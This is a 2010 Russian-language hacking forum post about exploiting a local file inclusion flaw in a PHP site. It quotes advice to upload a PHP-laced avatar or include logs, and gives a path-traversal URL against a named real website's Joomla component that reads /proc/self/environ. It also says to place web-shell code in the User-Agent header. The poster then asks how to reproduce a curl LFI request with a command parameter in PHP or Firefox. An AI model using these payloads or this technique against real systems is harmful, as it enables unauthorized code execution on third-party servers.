
03.07.2010, 12:38
|
|
Guest
Сообщений: n/a
Провел на форуме: 1428
Репутация:
0
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
Как вариант, можно регнуться, залить аватар с пхп кодом и проинклудить. Или инклудь логи, подробнее
тут
_http://www.stolarzowice.info/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../proc/self/environ%00
в User-Agent пишешь код шелла.
Прошу прощения за возможный оффтоп. Подскажите, пожалуйста, как этот запрос
Код:
Code:
curl
"http://site.com/index.php?page=../../../../../../../../proc/self/environ&cmd=phpinfo();"
-H "User-Agent: "
оформить правильно в php и что есть такое ключ -H ?
Можно ли эту конструкцию юзать GET-ом в FF и юзерагент там-же менять?
|
|
|
|